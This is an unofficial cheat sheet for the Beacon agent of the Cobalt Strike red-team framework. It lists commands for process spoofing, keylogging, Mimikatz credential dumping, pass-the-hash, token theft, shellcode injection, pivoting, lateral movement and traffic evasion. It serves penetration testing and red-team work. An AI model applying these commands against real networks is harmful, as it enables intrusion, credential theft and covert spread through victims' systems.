Beacon Cheat Sheet

Introduction

Beacon is Cobalt Strike's flexible asynchronous payload that incorporates a number of post-exploitation options.

Once a Beacon is active, various contextual options are available by right clicking a Beacon in the display menu.

Note: this cheat sheet is not officially licensed/endorsed by Cobalt Strike nor its author (@armitagehacker). Official documentation for Beacon is available from the author at https://www.cobaltstrike.com/help-beacon

Listeners

Cobalt Strike Beacon listeners are accessible through the "Cobalt Strike"->"Listeners" menu in the upper left.

When adding a new listener, the payload format follows **<OS>/<agent_mode>/<stager>**. The <agent_mode> determines what transport the agent will communicate over, while <stager> determines how the agent code is transferred to the target.

SMB Beacons use named pipes to communicate through a parent Beacon pivot. To setup a SMB listener, select the **windows/beacon_smb/bind_pipe** payload. The chosen port is used differently depending on exactly how the SMB Beacon is being used.

While using the SMB listener, any actions that affect the local host (i.e. bypassuac) will open up a TCP listener on the selected port that's bound to local host.

If the SMB listener is being used for lateral movement, the selected port affects the named pipe name used.

Common Commands

The **beacon>** shell exposes a number of commands.

Display all available commands or the help for a specified command	**help <command>**
Show a process listing	**ps**
Execute a shell command using cmd.exe	**shell [command] [arguments]**
Set the Beacon to sleep for the number of seconds and the associated 0-99% jitter. 0 means interactive.	**sleep [seconds] <jitter/0-99>**
List the running jobs.	**jobs**
Kill the specified job ID.	**jobkill [job ID]**
Clear all current taskings.	**clear**
Task the Beacon to exit.	**exit**
Link/unlink to/from a remote SMB Beacon.	**link/unlink [IP address]**

Beacon also has a number of common file system navigation/interaction commands:

Display the current working directory for the Beacon session.	**pwd**
List the files on the specified path or the current folder.	**ls <C:\Path>**
Change into the specified working directory.	**cd [directory]**
Delete a file\folder.	**rm [file\folder]**
File copy	**cp [src] [dest]**
Download a file from the path on the Beacon host.	**download [C:\filePath]**
Lists downloads in progress	**downloads**
Cancel a download currently in progress, wildcards accepted.	**cancel [*file*]**
Upload a file from the attacker machine to the current Beacon working directory	**upload [/path/to/file]**

Session Prepping

Cobalt Strike 3.8 introduced the ability to spoof the parent process for all post-exploitation jobs.

First, use **ps** to list the current processes and select an appropriate parent process to fake, as well as an appropriate sacrificial process to use. **iexplore.exe** and **explorer.exe** are good selections for userland, and services.exe/svchost.exe for a SYSTEM context.

You can then set the parent process ID with **ppid <ID>** and can set the child process spawned with **spawnto <x86/x64> <C:\process\to\spawn.exe>**. All post-ex jobs will now simulate a normal process tree.

Host and Network Recon

Beacon contains the standard post-exploitation actions you would expect from a mature agent.

keylogger [pid] <x86|x64> injects a keystroke logger into the given process ID and architecture. The keylogger will return results on each agent check-in and will run indefinitely. Use **jobs** to list and **jobkill <ID>** to terminate.

screenshot [pid] <x86|x64> [runtime in seconds] injects a screen capture stub into the specified process/architecture for the specified number of seconds. Use **jobs** to list and **jobkill <ID>** to terminate.

Note that both keylogger and screenshot can be used through the process list pane from right clicking a Beacon and choosing "Explore" -> "Process List".

Beacon also has a number of **net** commands implemented that don't rely on calling net.exe. This includes session/share/localgroup/etc. enumeration of local or remote hosts. Use **help net** to see all commands and **help net [command]** for more information on a specific command.

Mimikatz

The format to execute a Mimikatz (tab-completable) command is **mimikatz [module::command] <args>**. Using **!module::** will cause Mimikatz to elevate to SYSTEM before execution, while **@module::** will force the usage of Beacon's current token.

logonpasswords will execute the sekurlsa::logonpasswords module which extracts hashes and plaintext passwords out of LSASS. Credentials are stored in Cobalt Strike's persistent credential store.

dcsync [DOMAIN.fqdn] [DOMAIN\user] will use lsadump::dcync to extract the hash for the specified user from a domain controller, assuming the necessary privileges are present.

pth [DOMAIN\user] [NTLM hash] will use sekurlsa::pth to inject a user's hash into LSASS, starts a hidden process with those credentials, and impersonates that process. *Note that this requires local admin privileges.*

PowerShell

Beacon's PowerShell integration allows you to easily run any post-ex PowerShell you would like.

powershell-import [/path/to/script.ps1] will import a PowerShell .ps1 script from the control server and save it in memory in Beacon. The functions from the imported script are exposed to the commands below. Only one PowerShell script can be contained in memory at a time.

powershell [commandlet] [arguments] will first setup a local TCP server bound to localhost and download the script imported from above using powershell.exe. Then the specified function and any arguments are executed and output is returned.

powerpick [commandlet] [arguments] will launch the given function using @tifkin_'s Unmanaged PowerShell, which doesn't start powershell.exe. The program used is set by **spawnto**.

psinject [pid] [arch] [commandlet] [arguments] will inject Unmanaged PowerShell into a specific process and execute the specified command. This is useful for long-running PowerShell jobs.

Session Passing and Management

There are a number of ways to spawn new Beacons and pass sessions to other teamservers. Any command that spawns an additional process uses what's set by **spawnto <x86/x64> <C:\process\to\spawn.exe>.**.

Inject a new Beacon into the specified process, spawned to the given listener.	**inject [pid] <x86|x64>**
Inject custom shellcode into the specified process.	**shinject [pid] <x86|x64> [/path/to/my.bin]**
Spawn a process and inject custom shellcode.	**shspawn <x86|x64> [/path/to/my.bin]**
Inject a reflective DLL into the specified process.	**dllinject [pid] [/path/to/my.dll]**
Spawn a new Beacon process to the given listener.	**spawn [x86|x64] [listener]**
Spawn a new Beacon to the specified listener as another user.	**spawnas [DOMAIN\user] [password] [listener]**
Attempt to spawn a payload in a powershell.exe process under the specified PID.	**spawnu [pid] [listener]**
Attempt to execute a program with the specified PID as its parent.	**runu [pid] [command] [arguments]**
Set the current token to pass the specified domain credentials when interacting with network resources.	**make_token [DOMAIN\user] [password]**
Steal a token from the specified process.	**steal_token [PID]**
Revert to Beacon's original access token.	**rev2self**
Inject a Kerberos ticket into the current session.	**kerberos_ticket_use [/path/ticket.kirbi]**
Purge Kerberos tickets.	**kerberos_ticket_purge**

Note that **spawnas** will often fail when running as SYSTEM, in this case use **make_token** instead. Also ensure that you're in a directory the new user has read access to!.

spawnu and **runu** are the only two commands that preserve the token of the parent process. These commands are useful for spawning a beacon in another desktop session without process injection.

To spawn a new Meterpreter session, set the listener type to be windows/foreign/reverse_http[s] and input the Meterpreter listener configuration. Then use this listener with any of the above commands.

Pivoting

There are a few pivoting options available in Beacon. After any of the following pivots are started, they can be viewed through "View"->"Proxy Pivots" and stopped as desired.

socks [PORT] will start a SOCKS server on the given port on your teamserver, tunneling traffic through the specified Beacon. Set the teamserver/port configuration in /etc/proxychains.conf for easy usage.

browserpivot [pid] [x86|x64] will proxy browser traffic through a specified Internet Explorer process. Right clicking a Beacon and choosing "Explore"->"Browser Pivot" will automatically enumerate available IE processes. Use proxychains or set a native browser's proxy settings to use the functionality.

rportfwd [bind port] [forward host] [forward port] will bind to the specified port on the Beacon host, and forward any incoming connections to the forwarded host and port. This is useful for tunneling out traffic out of a network in specific situations.

Lateral Movement

Beacon's lateral movement options cover all the standard bases and integrate smoothly with listeners. **All three of the following commands ultimately launch powershell.exe** on the remote host to inject stager shellcode, so keep this in mind!

psexec_psh [host] [listener] creates a service on the target to launch the stager which will operate as SYSTEM.

wmi [host] [listener] uses WMI's process call create to launch the stager on the remote system.

winrm [host] [listener] uses Windows remoting to spawn the given stager.

Note that stagers spawned through wmi/winrm will operate under the user context used on the attacker machine to spawn them, but only they are a network logon. This means that the token is only good for the target machine and cannot be reused on the network. Use **make_token** after spawning a stager in this way to ensure fresh credentials.

Tradecraft Tips

Use SMB pivots for internal spread after an initial foothold with 2-3 outbound HTTP[S]/DNS channels.

You can re**link** to your SMB "mesh" if an external outbound channel dies and you will regain control.

Malleable C2 (https://www.cobaltstrike.com/help-malleable-c2) lets you modify your traffic patterns.

More Information

https://www.cobaltstrike.com/help-beacon

https://www.cobaltstrike.com/training

https://specterops.io

#armitage on Freenode IRC